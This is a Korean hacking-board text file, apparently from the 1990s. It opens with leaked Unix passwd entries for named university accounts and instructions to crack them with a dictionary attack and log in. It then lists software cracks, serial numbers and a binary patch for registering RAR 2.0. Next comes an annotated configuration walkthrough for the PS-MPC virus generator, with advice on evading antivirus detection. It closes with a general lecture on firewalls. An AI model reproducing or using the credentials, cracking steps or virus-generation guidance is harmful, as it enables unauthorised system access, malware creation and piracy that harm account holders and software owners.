piadm:pxbrdd90BfyNc:3010:90:PI/open Administrator:/usr/isys:/bin/sh
staff:WqNVQ3aKJoPOg:3011:10:system admin staff:/home4/staff:/bin/csh
kreonet:HXrRbEGxfNDT.:3501:3500:KREONET of KAIST,{찗쏮첲산쟤(3500)}:/home2/kreonet:/bin/csh
kmucc:XGOXIUD7hhDLg:3601:3600:Keimyung Univ.,{UNIVERSITY(3600)}:/home2/kmucc:/bin/csh
pusan:i0Dwz1WzyckUk:3602:3600:Pusan Univ(510-1860):/home2/pusan:/bin/csh
donga:nW1mEg90C2emc:3603:3600:Dong A Univ(200-6415):/home2/donga:/bin/csh
ympark:es6oTq31Uelfs:3604:3600:Kyungsang Univ,(0591-751-5132):/home2/ympark:/bin/csh
mskim:t0dv9tgBrQKGo:3902:3900:Mansik Kim,{Main Library(3900)#옷쨠쎂#}:/home2/malib/mskim:/bin/csh


이번에 함께제공하는 패스워드 화일을 설명하자면,
japan.cap    일본 모대학
pass.cap     인제대학교
pass.cap     어딘지 까먹었음
pwd.txt      me too.

이걸 바탕으로 '사전'을 이용해서 크랙잭을 돌려보면 패스워드를
잡아낼겁니다.
이걸로 실제 접속이 가능하니 해보세요.
모두 테스트를 거친것들입니다.
일반 대학 계정 있는 분들은 위에 알려준 방법으로 패스워드 화일을
빼내면 되고 쉐도우 패스워드로 보안을 유지하고 있는 곳은
at명령등을 써보고 그래도 안돼면 일단 게으르지 않은 관리자에게
존경의 박수를 보내며 다른 방법을 찾아봅시다.
크랙잭을 사용하는 법은 다음과 같습니다.

jack 을 실행하면 됩니다.
그러면 일단 패스워드 화일을 입력하라고 나옵니다.
예를 들어 pass.cap 을 치고 다음에는 사전을 입력하라고 합니다.
그러면 dict.txt 등을 치면 됩니다.
그러면 자동으로 사전속에 들어있는 것을 대입하여 암호를 찾아냅니다.
중간중간 암호를 찾아내었을때 삑~ 소리와 함께 암호와 아이디가 표시됩니다.
이러한 크랙잭에 걸리지 않기 위해서는 무조건 비밀번호를 어렵게 만드는
길밖에 없습니다.
특수문자 세자이상 넣으시길...

========================

다음은 제가 제공해드린 각종 자료들중 비중있는 중요한 자료에 대한 설명과 간단한
사용법 들입니다.
요구하시는 분들이 많아 포함시켰으니 참고바랍니다.

* 여기서 일부자료들은 변경이 된것도 있으니 여러분중 몇몇분은
  실제 받은 자료에서 추가/변경된게 있을수 있으니 착오없으시기
  바랍니다.
  이중에는 제가 개인적으로 가지고있는 것도 있으니 공부에 꼭 필요하다고
  생각되는게 있음 요청하시면 드릴수도 있습니다.

< 바이러스와 백신 >
PS-MPC        유명한 바이러스 제조기.설명은 보강강좌에 포함시켰음
VACCINE.ARJ   몇몇 백신의 소스가 포함되었습니다.


< 유틸리티 >
UUEXE540.ZIP  TEXT<->BIN화일 교환기입니다
; 게시판에 가끔 이상한 문자들이 쓰여진게 올라올때가 있을겁니다.
  자료실에 등록하기 힘든(약간 불법적인 자료,신속을 요할떄)때 사용들을많이하죠
  바이너리를 TEXT로 바꾸어 게시판에 올릴때, UUENCODE 화일명.EXE 하면 XXX.UUE
  로 되며 UUE로 된 파일을 게시판에 올리면 됩니다.
  반대로 게시판에서 받은 UUE를 다시 바이너리로 풀떄는,UUDECODE XXX.UUE 하면
  원래의 XXX.EXE가 나오는 것입니다. 이것은 상당히 유용하니 잘 쓰시길...
JUMIN.ARJ     주민등록번호 조회기
; 나우의 하얀맘님께서 제작해서 제공해주신 것입니다.
  기존 소스에 문제가 있다는것을 지적해주셔서 고쳐주신점 감사하게생각합니다.
BCTU          BCTU는 현재 1X.00 버전까지 제작되었습니다.
; 물론 BCTU는 확인된바로 가짜입니다. 전화비를 줄여주지 않습니다.
  현혹되지 마시고, 단지 이런것이 있다는것만 알아두시기를...
BOX           BOX는 진짜 전화비를 내지 않게 해주는 프로그램입니다.
; 단, 우리나라에서 사용하는 전화교환기는 미국과 틀려 안통합니다.
  미국내에서도 이제 BOX는 시골이나 통한다고 하더군요. 기대마시길~


< 락과 크랙 & 패치 >
EUN-CK.COM    은하영웅전설 4EX 암호 깨줍니다.
INSTALL.RAR   백신 V3 정식 등록판
; 실행하면 등록번호를 요구하게 되는데 이때 임의의 숫자를 지정한다.
C-LH25.ARJ    등대 2.5 정식등록 크랙입니다.
mdir3-crk.arj Mdir-III 크랙 2.5~2.70 까지의 모음집
; M3V270-C.ZIP 이 가장 무난하며,MSET.COM 을 실행하고 등록번호를 입력할시
  M2700-0000-0000-0000으로 넣어도 됩니다.
RC.ARJ        RAWCOPY 는 각종 게임의 암호를 깨주는 프로그램입니다
NEVLOCK.ARJ   네버락 입니다. 로우카피 처럼 게임암호를 깨주죠.
DATECRCK.RAR  시스템의 날짜로 바꾸어서 날짜제한 프로그램같은것을
              사용하는데 전혀 지장이 없게 해줍니다. MOVEDATE보다 개선됨
GW.ARJ        게임위자드는 잘 아실겁니다. 버전 32까지 나왔다는군요.
; 아쉽게도 저에게는 30정식밖에 없네요. 최신버전구하면 제공하죠.
ARJKEY.COM    ARJ를 정식으로 만들어줍니다.
Q40.RAR       유명한 Q 에디터 패치입니다.
UNPASS.COM    바이오스 에 걸린 암호를 깨줍니다.
UX.COM        실행압축된 파일들을 정상적으로 풀어줍니다.
; 역어셈블을 할경우 주로 쓰이게 됩니다.
EVER_CR.COM   에버락을 푼다고 하지만 기대는 안함.
B18UP         호스트 곰주인의 패치라나.. 뭐라나...
COPYIIPC      락을 깨준다는 대표적 "카피라이트"입니다.
FREEZE.LZH    시스템의 시간을 정지시킵니다.
; 시간이 정지되면 어디에 좋을지 생각해 보시길...
PASSPY.ZIP    암호를 알아낸다는 다소 황당한 프로그램이죠.
; 암호를 알아내는 방식이란게 다른 사람 컴에서 실행시켜서 인터럽트를
  가로채 플로피에 저장한다는 황당한 설정인데 이런거는 아무짝에도
  쓸모없습니다. 친구 암호알아낼때 쓴다면 몰라도...
REGISTER.ARJ  등록번호를 모아놓은것입니다.
; 이야기,ARJ,DCF,ZMODEM,ZIP,TBAV,WWP,WINZIP,GWS 등..

이외에 수백가지의 프로그램의 등록번호가 담긴 텍스트를 제공합니다.
물론 몇몇 분은 가지고계신분도있겠지만 없으신 분을 위해 드립니다.
추가로 중요한 크랙에 대한 부분도 있으니 참고하시길...
CRACK.ARJ 화일로 되어있습니다.

RAR 2.0의 경우 정식등록판을 만들기위한 방법입니다.
최근에 RAR 2.0에서 압축된것의 경우 그전버전에서 풀수가 없더군요.
이번기회에 다들 2.0으로 바꾸는게 좋을듯합니다.

┌──┬──────┬────────────┐
│Sec │Hex         │  ASCII                 │
├──┼──────┼────────────┤
│185 │307H        │  75 → 74              │
│187 │187H        │  75 → EB              │
│187 │497H , 498H │  75 → 90 , 3B → 90   │
│187 │503H , 504H │  75 → 90 , 35 → 90   │
│194 │389H        │  74 → EB              │
│239 │036H        │  74 → 75              │
│255 │472H        │  75 → EB              │
└──┴──────┴────────────┘


PS-MPC (The Phalcon/Skism Mass Produced Code Generator)

PS-MPC 는  미국의 바이러스 제작그룹인 팰콘 스킴즈에서 만든것입니다
초보자를 위해 제작된 바이러스-제조기 이죠.
이외에도 몇가지 다른 형태의 제조기가 존재합니다만 대표적인것으로
이것을 소개합니다.
바이러스를 만들기위해 어셈블리를 공부하고 힘들이는것보다는
바이러스의 기본적인 루틴들로 이루어진 ps-mpc 같은 제작기로
만드는것이 훨씬 빠르기 때문이죠.
여러분들은 일단 이것으로 바이러스의 기본적인 루틴들은 이해하시기
바랍니다.
두꺼운 어셈블리 책 한권놓고 참조해가며 코딩하면 엄청나게 응용할수
도 있습니다.
참고로 이 프로그램은 비상주형만 만들어 줍니다.

ps-mpc의 사용법은 CFG 파일을 에디터로 바꾸면 되는것입니다.
현재 국내에 발견된 바이러스로는 PS-MPC.Generix 라는 바이러스가 있습니다.
백신으로 체크하니 걸리더군요. 응용하실분은 뜯어고치져서 안걸리게 해보세요.

끝으로 컴파일은 MASM은 안되고 오로지 TASM 만 됩니다.
아래와. 같이 실행하면 나오게되는 ASM화일을 TASM으로 컴파일 하시면됩니다.
전번 제 하드폭파 사건이후 저에게있던 TASM이 지워져서 제공해드릴수
없군요.제가 예전에보내드린 TASM이 있거나 가지고계신분은 제게도
드리면 제가 필요로하는 분들꼐 드리죠.
C:\XXX>PS-MPC TEST.CFG 라고 입력하면 TEST.ASM 이 생성됩니다.


다음은 *.CFG 화일에 들어있는 내용들입니다.
이것들을 에디터로 편집하셔서 고치기만 하면 됩니다.

; FILE: SKELETON.CFG        <-화일이름입니다.
; Skeleton configuration file for PS-MPC version 0.90?
; Lines beginning with semicolons denote comments

; Required parameters:

; Filename = <string>
; This is the filename to be generated by PS-MPC as the source code file.
; 소스로 출력될 파일 이름
Filename = target.asm

; Infect = (C,E)
; COM, EXE
; Note: You can mix the two, a la "Infect = C,E"  Do not use a space to
;       deliminate the two parameters.
; 감염대상 C 만하면 COM 만 감염,E 로 하면 EXE도 감염되겠죠.
Infect = C,E

; Optional parameters - Defaults are shown in square brackets

; Traversal = <N,D>
; ([None], Dot Dot)
; If None is specified, then only the files in the current directory will be
; infected.  If Dot dot is specified, then files in the current directory and
; subdirectories below the current will be infected.
; 상위로 이동할 것인가? 현재 디렉토리만 감염시킬경우 퍼지기가 곤란하므로 Y 로
; 지정하는 것이 좋다.
Traversal = N

; Encrypted = <Y,N>
; (Yes, [No])
; Only turn off encryption if you wish to limit the size of the virus.
; 바이러스 암호화. TV 의 경우 암호화가 안된 바이러스만 PS-MPC 변형으로 진단
; 한다.
Encryption = Y

; IDWord = XX
; ([  ],XX)
; The IDWord consists of two characters which are used to identify already
; infected EXE files.  This line is not needed in COM-only infectors.  Do
; not use an apostrophe or the source code will not assemble properly.
; EXE 파일 실행인지 검사할때 사용하는 값으로 스텍값이 된다.
IDWord = DA

; MinSize = #
; (A,[0]..65535)
; MinSize is used only in the infection of COM files.  Files under MinSize
; bytes are not infected.  MinSize = 0 turns off this option.  MinSize = A
; indicates use of the virus's effective length as the minimum size.  This
; line is ignored in EXE-specific infectors.
; 감염시킬 파일의 최소크기.
MinSize = 0

; MaxSize = #
; (A,[0]..65535)
; MaxSize is used only in the infection of COM files.  Files above MaxSize
; bytes are not infected.  MaxSize = 0 turns off this option.  MaxSize = A
; indicates automatic calculation of maximum size. This line is not needed
; in EXE-only infectors.
; 감염시킬 파일의 최대크기
MaxSize = A

; Infections = #
; ([0]..255)
; Infections is an optional counter limiting the number of infections per run
; of the virus to a specific number.  Infections = 0 disables this option.
; 감염갯수
Infections = 0

; ErrorHandler = <Y,N>
; (Yes, [No])
; ErrorHandler selects if you wish to include a short critical error handler
; in the virus.  This handler prevents Abort, Retry, Fail messages by taking
; over the critical error interrupt.  Attempted infection of files on write-
; protected diskettes will not generate an error if this option is set.
; 에러헨들 (Int 24h) 를 가로챌것인가? N 하면 쓰기 방지 탭이 붙은 플로피에서
; 디스크 에러가 난다.
ErrorHandler = Y

; CommandCom = <Y,N>
; (Yes, [No])
; This flag indicates whether you wish the virus to infect COMMAND.COM
; 'Yes' turns off the check for COMMAND.COM, thus saving space.
; COMMAND.COM 을 감염에서 제외할것인가? (Yes 하면 COMMAND.COM 도 감염.
; 하지만, COMMAND.COM 에 감염되면 부팅이 안된다.
CommandCom = N

; VirusName = <string>
; The only limitation to the string is that you may not use both the single
; and double quotes together in the string, i.e. the string B'li"p is not
; legal.
; 바이러스이름 [] 안에 써주면 된다.
VirusName = [Skeleton]

; AuthorName = <string>
; The same constraints apply to AuthorName.
; 제작자 이름
AuthorName = Deke

; AllowZero = <Y,N>
; (Yes, [No])
; This flags whether the virus will allow an encryption value of 0, which
; would effectively leave it in an unencrypted state.  'Yes' disables the
; zero check, thereby shortening code length.
; 암호키중 0이면 암호화 안된 값이 되므로 0 은 감염키로 사용하지 않을것인가?
; Y 면 0 도 허락한다.
AllowZero = N

; Activation Conditions
; All conditions must be satisfied for activation to occur
; 특정할때만 작동할것인가?

; Always = <Y,N>
; (Yes, [No])
; This flags whether the virus always activates, although I can't imagine a
; useful virus that does so.
; Always = N

; IfMonth = #
; <1..12><-,+>
; Activate if the month is equal to the specified number.  Adding a minus sign
; after the month indicates activation before or during the specified month.
; Adding a plus sign after the month indicates activation during or after the
; specified month.
; IfMonth = 11+    ; Activate in either November or December

; IfDay = #
; <1..31><-,+>
; Activate if the date is on a certain date  Adding a minus sign after the day
; indicates activation on or before that day.  Similarly, adding a plus sign
; indicates activation on or after that day.  Note: the program does not check
; to see if the number inputted is a valid date.  For example, combining
; IfMonth=2 and IfDay=30+ will NOT result in an error, although the virus will
; clearly never activate.
; IfDay = 15+         ; Activate after the fifteenth of the month

; IfYear = #
; <0..65535><-,+>
; Activate during a certain year or years.  Don't be stupid and put a
; ridiculous year such as 1-.
; IfYear = 1993+      ; Activate after 1993

; IfDOW = #
; <0..6><-,+>
; 0 = Sunday, 1 = Monday, etc.
; Activate on, before, or after a particular day of the week.
; IfDOW = 0            ; Activate only on Sundays

; IfMonthDay = #,#
; <#,#><-,+>
; Activate on, before, or after a particular day of the year.  This differs
; from the combination of IfMonth and IfDay.
; IfMonthDay = 5,9+    ; Activate only after May 9th
; compare to:
; IfMonth = 5+         ; Activate in May through December, but only if the
; IfDay   = 9+         ; day is on or after the 8th.  July 1st is NOT an
                       ; activation date

; IfHour = #
; <0..23><-,+>
; This should be self-explanatory at this point.
; IfHour = 12          ; Activate any time from 12 noon -> 1 P.M.

; IfMinute = #
; <0..59><-,+>
; Duh.
; IfMinute = 30+

; IfSecond = #
; <0..59><-,+>  ;; check 0
; This is somewhat useless, in my estimation
; IfSecond = 30+

; Percentage = #
; <1..99>
; This uses the 1/100 second counter as a random number.  If the counter is
; less than the percentage, then the virus will activate.
; Percentage = 50      ; Even odds


=============================
안녕하세요.

이번 보강자료들.
1. 보강된 바이러스 제작툴 과 비비에스 해킹 프로그램들.
2. 보안 < firewall = 방화벽 > 에 대한 강좌.



1. Firewall 이란?
firewall 은 방화벽 이란 뜻이다.
방화벽이란 '화재를 방지하는 특수한 장치의 벽을 의미하는 것,불을 끄는 특수 기구
'라는 뜻으로 설명할 수 있다.
    방화벽 시스템은 필수적인 인터네트 서비스의 접근을 허락함과  동시에 기관
의 보안레벨을 확실히 증가시킬 수 있는 최선의 해결을 제공하는 방법이다. 다시
말해 데이터를 빼가거나 시스템을 망가뜨리는 해커들로부터 해당  네트워크를 보
호하는 시스템의 일종이다.
    물론 이 방화벽 시스템을 구현하는 것이 충분한 보장을 해준다고 볼 수는 없
다. 그러나 가장 효과적이고 비용이 비교적 저렴하게  드는 방법이라고 할 수 있
다. 그래서 네트워크를 설치한 각계 각층에서 최근 쉴새없이 방화벽에 대한 세미
나와 토론회를 개최하고 있는 것이다.
    방화벽이 네트워크로 연결된 호스트를 어떻게 보호하는가와 방화벽의 구성요
소를 알아보자.
인터네트에 연결된 컴퓨터 사용자 수는 현재 전세계적으로 4천만명 이상이
된다. 이처럼 많은 사람이 인터네트를 이용하게 되면서 정보 보안은 갈수록
중요해지고 있다.기업,관공서,연구소 등이 내부적으로 근거리통신망(LAN)을
구축하거나 사설망을 운영할 때에는 정보의 보안에 대해 심각하게 고려하지
않았다.
하지만 이제 기업간 또는 조직간정보의 교류가 중요해지면서 외부에 공개할
자료와 보안할 자료를 구분할 필요성이 점점 증대되고 있다.
인터네트는 유닉스 호스트를 기반으로 TCP/IP라는 공개적인 프로토콜을 사용
해 컴퓨터간 네트워크로 정보를 교환할 수 있도록 한 것이다.
유닉스와 TCP/IP는 개방화 방향으로 기술이 발전하고 있다. 또 네트워크에
연결된 자원의 활용을 극대화할 수 있도록 많은 유틸리키를 사용하고 있다.
따라서 유닉스와 TCP/IP는 정보의 보안에 관해서 매우 취약하다.
기업이 해외지사 또는 본집점간 정보의 공유를 원활하게 유지하기 위해 전자
메일을 도입하고 전체망을 인터네트에 연결했다면 전세계 인터네트 사용자들
도 이 전상망에 쉽게 침투, 전자메일 정보는 물론 기업의 중요한 정보도 쉽게
빼낼 수 있다. firewall은 내부의 전산망을 인터네트 등 외부망과 연결하거나
기업내 사설망을 구축할 경우 외부 사용자로부터 또는 기업간 사설망의 전자도
청으로부터 내부의 중요한 기밀과 정보를 보호하고 외부에 공개할 정보를 취사
선택할 수 있는 네트워크 정책을 수립할 수 있도록 기업내 사설망에 구축하는
전자보안시스템이다.
    방화벽의 원래 의미는 건물에서  발생한 화재가 더 이상  번지는 것을  막는
것이다. 이러한 의미를 인터네트에서 쓴다면 이는  네트워크의 보안 사고나 문제
가 더이상 확대되는 것을 막고 격리하려는 것으로 이해될 수 있다. 특히 어떤 기
관 내부의 네트워크를 보호하기 위해 외부에서의  불법적인 트래픽 유입을 막고,
허가되고 인증된 트래픽만을  허용하려는 적극적인 방어대책임을 알 수 있다.
    방화벽은 간단히 라우터, 호스트 시스템 또는  네트워크 보안을 제공하는 시
스템의 집합에 포함되지 않는다. 방화벽은 보안에의 접근이다. 즉, 허락되는 서비
스와 액세스를 정의 하는 것 보다 큰 보안 정책의 수행을 돕는다. 네트워크 구성,
그리고 하나 또는 그 이상의 호스트 시스템과 라우터 그리고  안정된 패스워드에
서 진보된 인증같은 다른 보안 수단이다.
    방화벽 시스템의 주된 목적은 보호된 네트워크 안밖으로의  접근을 내부에서
자유자재로 조정하는 것이다. 트래픽을 시험하고 평가할  수 있는 방화벽을 지나
는 접속을 제어함으로써 네트워크 액세스 정책을 수행한다.
    방화벽 시스템은 라우터, 퍼스날  컴퓨터, 호스트 또는  외부 호스트들로부터
악용될 수 있는 프로토콜과 서비스로부터 사이트 또는 서브네트를 보호하기 위해
특별히 셋업된 호스트들의 집합일 수도 있다.  방화벽 시스템은 일반적으로 사이
트의 인터네트 접속과 같은  하이레벨 게이트웨이에 위치한다. 하지만,  호스트나
서브네트의 보다 작은 집합을 보호하기 위해 로우레벨 게이트웨이에 위치할 수도
있다.

2. 유닉스,TCP/IP 보안 취약성
인터네트에서는 정보보안이 취약하다. 인터네트에서 제공하는 서비스(FTP,Telnet
,DNS,SMTP,NFS등)가 근본적으로 갖고 있는 보안에 대한 취약성과 잘못된 호스트
구성, 접근통제(Acces Control) 등에 기인한다.
인터네트에서 제공하는 서비스는 약5백개에 달한다. 이들 각각은 외부에서 침투할
경우 주요 공략 대상이 된다. 따라서 보안에 대한 시스템 관리자의 역할은 매우
중요하며 정기적인 보안대책 수립 및 실행, 인터네트 서비스들의 로그파일 분석
등 보안상황에 대한 수시 점검이 필요하다.
인터네트에서 발생한 보안 관련 사고는 대부분 유닉스 포스트의 사용자 인증처리
절차가 너무 간단하고 미약한데서 비롯된다. 유닉스상에 패스워드는 패스워드
크래커 등 해독프로그램에 의해 쉽게 해독되기 때문에 해커들의 주요 공략 대상이
 될 수 있다.
TCP/IP가 제공하는 서비스도 사용자 인증은 매우 취약하다고 할 수 있다.
예를 들어 NFS(Network File System)에서 인증은 사용자 인증이 아닌 IP주소
를 갖는 호스트 전체에 대한 인증이어서 특정 사용자 계정에 대한 인증은 불
가능하다.
Telnet, FTP, MAIL 등의 서비스 이용시로그인을 하거나 또는 클라이언트와
데이터를  주고 받을  ㎖ 데이터는 암호화되어 있지 않아 스니퍼 프로그램을
이용하거나 또는 인터네트 전용선을 태핑하든 어떤 경우에도 쉽게 데이터를
해독해 호스트에 침입하거나 취득한 정보를 다른 어떤 용 도로 사용할 수가
있다.
특히  X윈도슷템은 네트워크의 모니터 및 해킹을 하기에 매우 적합한 도구가
될 수 있다. 해커는X윈도스스템을 이용해 원격지 호스트의 윈도를 열어 패스
워드를 비롯 기타 보안유지가 필요한 중요한 정보들의 키보드  입력을 바로
모니터할 수가 있는 것이다.
LAN을 구축하거나 호스트간 네트워크로 연결한 경우에는 네트워크 자원의 효
율성을 높이기 위해 네트워크에 연결된 각 호스트Network Information System), 버클
리 r-명령어들을 사용하게 된다.
 이 경우 네트워크에 연결된 호스트중 한 곳만 해커에 침입을 당해도 그 네트
워크에 연결된 전 호스트가 보안에 문제가 발 생할 수 있다.
사실 인터네트에 연결됐다는 것은 내부의 네트워크가 전세계 인터네트 사용자
의 공경 대상이 되었다는 것으로 보아도 무방하다.
CERT/CC자료에 따르면 미국에서는 지난 88년이후 인터네트 사용자가 증가하는
비율보다도  인터네트 증가에 대해 보안 사고 비율이 급격히 증가하고 있다는
것이다.
인터네트 사용자가 많아지고 인터네트에 접속된 호스트가 증가하면 할수록 인
터네트 관련 보안사고는 기하급수적으로 증거한다는 것이다.
특히 호스트 시스템이 복잡하게 연결됐고  사이트의 명성이 높을 경우 해커들
의 좋은 목표가 될 수 있다는 점에서 보안에 대한 철저한 준비 및 통제, 대처
방안 등을 미리 수립하는 것이 매우 중요하다.
파이어월 개념과 필요성
파이어월은 단순히 네트워크의 구성요소인 라우터, 호스트시스템,  또는 네트
워크에 안전을 제공하는 시스템의 집합이라기 보다 네트워크 전체를 대상으로
안전에 접근하는 정책(policy)이라고 할 수 있다. 여기서 정책이라 함은 인터
네트에 연결할 때 제공하고자 하는 서비스의 종류,네트워크 구성의 정의,네트
워크에 접근하는 사용자의 분류,  안전의 측정 방법 등을 총괄적으로  정의할
수 있다.
파이어월 시스템은 보안하고자하는 네트워크의 접근을 통제하자는 것이다. 즉
네트워크의 접근통제정책(파이어월)을구현하는 것이다. 파이어월 시스템은 라
우터, pc,호스트 및 기타 프로토콜, 서비스를 보호하는데 사용하는  네트워크
장비들이 될 수 있다.  그러나 통상적으로 파이어월은 네트워크 정책 및 파이
어월 시스템을 포함한 전체를 뜻한다.
파이어월이 없는 환경에서는 네트워크의  보안은  전적으로  호스트 시스템의
보안에  의존하게 되며,  네트워크에 연결된 모든  호스트가 일정하게 역할을
분담해야 한다.  그러나   네트워크가 커지면 커질 수록 보안의  통제는 매우
어려워지며 잘못된 구성, 부적절한 패스워드 등이 원인이 되어 쉽게 네트워크
보안이 허물어지게 된다. 따라서 파이어월의 접근방법은 네트워크  전체의 보
안 수준을 높이며 해커의 침입 "시 적절히 대처할 수 있는 능력을 배양시키는
것이다.


3. 방화벽 시스템의 장점
방화벽시스템의 기본 목표는 네트워크 사용자에게  투명성을 보장하지  않아
약간의 제약을 주더라도 위험지대를  줄이려는 적극적인 보안대책을  제공하려는
것이다.
외부와의 투명성으로 내부망 전체가 위험지대임을 보여주고 있다.
네트워크 시스템에서 외부와 내부 네트워크사이의 유일한 패스에
방화벽시스템을 둔 것이다. 방화벽시스템이 보안서비스를  제공하여 불법적인 트
래픽을 거부하거나 막을 수 있게 되었다. 물론 투명성을 보장하지는 않지만 내부
네트워크를 안전지대로 만들 수 있다.
방화벽 시스템으로 접근하는 것은 전반적인 호스트 보안을  증진시키는데 도
움을 줌으로써 사이트에 많은 이점을 제공한다.

    1)취약한 서비스로부터 보호
    방화벽은 크게 네트워크 보안을  증가시키고 원천적으로 불안전한  서비스를
필터링함으로써 서브네트 상에 있는 호스트에 위험을 감소시킨다. 선택된 프로토
콜만이 방화벽을 통과 할  수 있기때문에, 서브네트 네트워크  환경은 위험에 덜
노출된다.

    2)호스트 시스템으로의 액세스 컨트롤
    방화벽은 또한 호스트 시스템으로의 액세스를 컨트롤할 수  있다. 예를 들면,
외부 네트워크에서 한 호스트로 접속할 수 있는데, 원하지 않는 액세스는 효과적
으로 차단해 준다. 사이트는 메일 서버나 NIS같은 특별한 경우를  제외한 외부로
부터의 액세스를 차단한다.

    3)보안의 집중
    방화벽은 대부분의 수정된 소프트웨어와  추가되는 보안 소프트웨어를  많은
호스트에 분산시키지 않고 방화벽에 설치할 수  있다는 점에서 경제적이다. 특별
히, one-time 패스워드 시스템과 다른 추가적인 인증 소프트웨를 인터네트로부터
액세스를 필요로하는 각 시스템과는 대조적으로 방화벽에 설치할 수 있다.

    4)확장된 프라이버시
    일반적으로 해가 없다고 생각되는  것들이 실질적으로 프라이버시  침해에의
결정적인 요인이 될 수 있다. 이들은 유용할 수 있는 실마리를 포함하고 있을 수
있기 때문에 어떤 사이트에서는 중요시  된다. 방화벽을 사용한 사이트(호스트외
의 연결 시스템)들은 핑거(finger)와 DNS(Domain Named Service)같은 서비스를
막고자 한다. 핑거는 마지막 로그인 시간과 메일 도착 여부,  다른 아이템들을 읽
었는지 등 해당 계정의 사용자 정보를 디스플레이해주는 명령어다.
    이런 편리한 '핑거' 서비스는 해커(시스템 침입자)들에게도 그 시스템이 얼마
나 자주 사용되는지, 시스템에 연결된 사용자가 있는지, 그리고 침해될 수 있는지
에 관한 정보를 보여준다. 따라서 방화벽은 가능하면 핑거를 이용하는 것을 막음
으로써 침입자들의 접근 요인을 막고자 하는 것이다.
    방화벽은 또한 사이트 시스템에 관한 DNS 정보를  막고자 하는데 사용된다.
그래서 사이트의 이름과 IP 어드레스를 인터네트 호스트에서 유출되지 않게한다.
어떤 사이트들은 이러한 정보를 막음으로써 침입자에 유용한 정보를 숨길  수 있
다고 생각한다.

    5)네트워크 사용과 비사용에서의 로그인과 통계자료 제공
    인터네트 안밖으로의 모든 액세스가 방화벽을 통과 한다면, 방화벽은 액세스
정보를 기록할 수 있고 네트워크 사용에 관한 유용한 통계자료를 제공한다. 의심
스로운 활동이 있을때 적당한 알람기능을 가진 방화벽은 방화벽과 네트워크가 침
입 시도를 받고 있는지 또는 침입 되었는에 대한 세부사항을 제공해 준다.



    6)정책 시행
    마지막으로 이것이 가장 중요한데, 방화벽은 네트워크 액세스 정책을 실행한
다. 사실상, 방화벽은 사용자들과  서비스의 액세스를 컨트롤할 수  있다. 그래서,
네트워크 액세스 정책은 방화벽에 의해서 시행될 수 있게 된다. 그러나 방화벽이
없다면, 그러한 정책들은 전적으로  사용자들의 협조에 의존해야 한다.  사이트는
자신의 사용자들의 협조에 의존하여 보안을 유지할 수 있기 때문이다. 그러나 일
반적으로 인터네트 사용자들에게는 적용되지 않는다.


4. 방화벽시스템의 기본 구성 요소
    방화벽시스템에 대한 각종 토론이 이루어지는 그룹에서는 방화벽시스템에 대
한 일반적인 용어 정의 및 개념을 설명하고 있다. 방화벽시스템이 가지는 여러가
지 기능과 보안 대처 수준에 따라 여러가지 종류의 방화벽시스템이 존재할 수 있
으나, 여기서는  일반적인 방화벽시스템의 구성요소를 소개한다. 이는 방화벽시스
템 개발자,  운영자 및 컨설트업체들이 거의 동의하고 있는 개념이다.

    1)네트워크 정책(Network Policy)
    방화벽 시스템의 설계, 설치, 사용에  직접적으로 영향을 줄 수  있는 두가지
레벨의 네트워크 정책이 있다. 하이레벨 정책은 명확한 이슈 즉, 제한된 네트워크
로부터 서비스를 허락할 것인가 또는 명확히 거부할 것인가를 정의하는 네트워크
액세스 정책이다. 이러한 서비스들을 어떻게 사용할 것인가,  그리고 이러한 정책
의 예외 조건등이 하이레벨 정책에 속한다. 로우레벨 정책은 어떻게 방화벽이 실
질적으로 액세스를 제한하고 하이레벨 정책에서 정의한 서비스를 필터링 할 것인
가에 대한 사항이다.

    2)방화벽시스템의 사용자인증 시스템(Advanced Authentication)
    방화벽시스템은 한 기관의 네트워크 전체를 보호해야 하므로  일반적으로 유
닉스시스템에서 사용되는 단순한 패스워드  기법으로 사용자를 인증하는  방법을
사용하지는 않는다.   우수한 인증수단으로는  스마트 카드,   어탠디케이션 토큰
(Authentication tokens), 바이오메트릭스(Biometrics)  그리고 소프트웨어 메카니
즘 등을 사용한다. 현재 많이 사용하고  있는 우수한 인증시스템으로는 일회용패
스워드(One Time Passwd)시스템이 있다. 매번 사용자가 로그인을 시도할 때 마
다 매번 새로운 패스워드를 이용하는 것인데, 이는 침입자들이 최근 이용하고 있
는 스니퍼(sniffer)에 의한 패킷가로채기를 통해 시스템의 사용자ID와 패스워드를
알아내서 침입하는 것을 근본적으로 막아주게 된다.

    3)패킷 필터링
    IP 패킷 필터링(Packet Filtering)은 통상 라우터 인터페이스를 지나는 패킷을
필터링을 하기 위해 설계된 패킷 필터링 라우터(packet filtering router)를 사용하
여 행해진다. 패킷 필터링 라우터는 IP 패킷중  다음의 전부 또는 일부를 필터링
할 수 있다.
    - source IP address
    - destination IP address
    - TCP/IP source port
    - TCP/IP destination port

    모든 패킷 필터링 라우터가 소스 TCP/IP 포트를 필터링하지는 않는다. 그러
나 많은 제조회사들이 이러한 능력을 증가시키고 있다.  대부분은 아니지만 유닉
스 호스트도 패킷 필터링 기능을 제공한다.

    4)응용계층 게이트웨이(Application Level Gateway)
    응용계층서비스들은 중간전달(Store-and-Forward)방법을 쓰는  경우가 많은
데, 이는 게이트웨이에서 수행할 방법과 그대로 맞아떨어지게 된다. 게이트웨이는
송신자 응용서비스가 보내는 각종 정보를 그대로 전달하면 되는 것이다. 이 게이
트웨이에서는 보안을 위한 특별한 서비스가 제공된다.  예를 들어 내부와 외부간
의 모든 응용수준의 트래픽에 대해 로그기록이나, 텔네트(Telnet)나  FTP 등에서
사용자 인증을 할 경우 보다 우수한 방법을 사용한 변경된  인증방법을 이용한다
든가 하는 것이다. 이 응용계층의  게이트웨이 기능은 가상서버(Proxy Server)라
는 인터네트의 클라이언트/서버 개념에서 나온 서버 기능을 제공하게 된다. 예를
들어 외부의 전자우편클라이언트가 내부의 어떤 호스트내 전자우편  서버와 접속
맺기를 원한다면 중간에 가상서버가 이를  받아 다시 내부의 서버에게  전달하는
방식이 된다.

    5)스크린 라우터(Screen Router)
    어떤 기관이 인터네트에 접속할 경우 대부분 라우터(Router)를  거친다. 이는
인터네트 패킷을 전달하고 경로배정(Routing)을 담당하는 장비다. 라우터는  단순
장비가 아니라면 패킷의 헤더 내용을 보고  필터링(스크린)할 수 있는 능력을 가
지고 있다. 네트워크 수준의 IP(Internet Protocol) 데이터그램에서는 출발지 주소
및 목적지 주소에 의한 스크린,  TCP(Transmission Control Protocol) 수준의 패
킷에서는 네트워크응용을 판단케해주는 포트(Port) 번호에 의해  스크린,  프로토
